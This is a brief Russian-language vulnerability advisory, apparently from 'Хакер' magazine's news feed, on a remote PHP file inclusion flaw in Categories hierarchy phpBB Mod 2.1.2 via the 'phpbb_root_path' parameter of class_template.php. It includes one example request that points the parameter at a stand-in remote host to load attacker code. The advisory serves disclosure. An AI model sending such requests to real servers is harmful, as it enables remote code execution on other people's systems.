PHP-инклюдинг в Categories hierarchy phpBB Mod

Программа: Categories hierarchy phpBB Mod 2.1.2

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе. Уязвимость
существует из-за недостаточной обработки
входных данных в параметре «phpbb_root_path»
сценарием class_template.php. Удаленный
пользователь может выполнить произвольный
PHP сценарий на целевой системе с
привилегиями Web сервера.

Пример:

/includes/class_template.php?phpbb_root_path=http://evilscripts?

Анатолий Ализар: Бывший автор новостной ленты «Хакера». Увлекается современными технологиями, оружием, информационной безопасностью, носимой электроникой и в целом концепцией Internet of Things.
Похожие материалы